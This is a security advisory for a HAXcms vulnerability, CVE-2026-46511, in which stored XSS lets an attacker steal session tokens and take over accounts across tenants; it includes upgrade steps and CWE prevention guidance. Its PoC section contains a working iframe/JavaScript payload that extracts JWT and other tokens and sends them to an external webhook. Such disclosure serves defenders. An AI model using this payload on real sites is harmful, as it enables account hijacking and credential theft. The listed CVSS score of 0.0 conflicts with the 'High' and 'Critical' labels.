GHSA-x3x5-7h4h-gwxg CVE-2026-46511
HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.27%
- Chance of exploitation in the next 30 days. Higher than 20.01% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-522 Insufficiently Protected Credentials
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- CWE-922 Insecure Storage of Sensitive Information
- Fix
26.0.0- Upgrade @haxtheweb/haxcms-nodejs to this version or later
Description
Summary
An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.
Details
In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.
While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:
- The Vector: The system is vulnerable to Stored XSS (e.g., via injected
iframesrcdocor<video-player>). - The Exposure: Because the
connectionSettingsendpoint serves the tokens locally based on the activePHPSESSIDcookie, any malicious script running in the browser context can intercept these keys. - The Chain: HAXcms isolates user environments by URL path (
/<username>/). An attacker can use XSS to force the victim's browser to fetch their target username's specific settings viafetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.
PoC
1. Setup the Webhook Target
Prepare an external webhook (e.g., webhook.site) to receive the stolen data.
2. Inject the "Kill Chain" Payload
As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):
<iframe srcdoc="<script>
const targetUsername = 'bto108'; // Replace with target victim
fetch(`/${targetUsername}/system/api/connectionSettings`)
.then(res => res.text())
.then(data => {
const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));
const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');
let aToken = 'N/A';
if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
aToken = s.appStore.params.appstore_token;
}
// Exfiltrate via Image Request to bypass CORS
const payload = btoa(JSON.stringify({
target: targetUsername,
jwt: s.jwt,
user_token: uToken,
site_token: sToken,
appstore_token: aToken
}));
new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
});
</script>" style="display:none"></iframe>
3. Execution & Verification
- When the victim (e.g., user
bto108) views the compromised page, their browser automatically fires thefetchrequest, silently attaching their active session cookie. - The server responds with their connection settings.
- The script parses their
jwt,user_token, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook.
Screenshots confirming the data leakage and webhook capture: Connection Settings Exposure Secondary Settings Leak Cross-tenant Exfiltration Console Webhook Payload Capture Stolen Data Result
Impact
Critical Severity.
This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).
The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| @haxtheweb/haxcms-nodejs | < 26.0.0 |
26.0.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
@haxtheweb/haxcms-nodejs npm → 26.0.0
- npm
npm install @haxtheweb/haxcms-nodejs@26.0.0- yarn
yarn add @haxtheweb/haxcms-nodejs@26.0.0- pnpm
pnpm add @haxtheweb/haxcms-nodejs@26.0.0
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-522: Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
How to prevent it
- Architecture and Design: Use an appropriate security mechanism to protect the credentials.
- Architecture and Design: Make appropriate use of cryptography to protect the credentials.
- Implementation: Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-922: Insecure Storage of Sensitive Information
The product stores sensitive information without properly limiting read or write access by unauthorized actors.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g2g8-95qg-v35h HaxCMS has a stored Cross-Site Scripting (XSS) bypass in its saveNode endpoint | High | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-9r33-xhw8-4qqp HAX CMS: Denial of Service using Malicious Import Request | Medium | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-jh3h-rpxg-fr36 Stored XSS via <iframe> in HAX CMS allows access to sensitive client-side data and account takeover | High | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-6c8g-9hfh-pq5h HAXcms: Private Key Disclosure via Broken HMAC Implementation | Critical | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-2m6p-hm3w-6jm3 HAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theft | Medium | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-q862-gcgq-5m6g HAXcms createSite SSRF Enables Arbitrary File Read | High | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-3fm2-xfq7-7778 HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover | Medium | Also affects @haxtheweb/haxcms-nodejs |
| GHSA-9jr9-8ff3-m894 HAX CMS API Lacks Authorization Checks | High | Also affects @haxtheweb/haxcms-nodejs |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor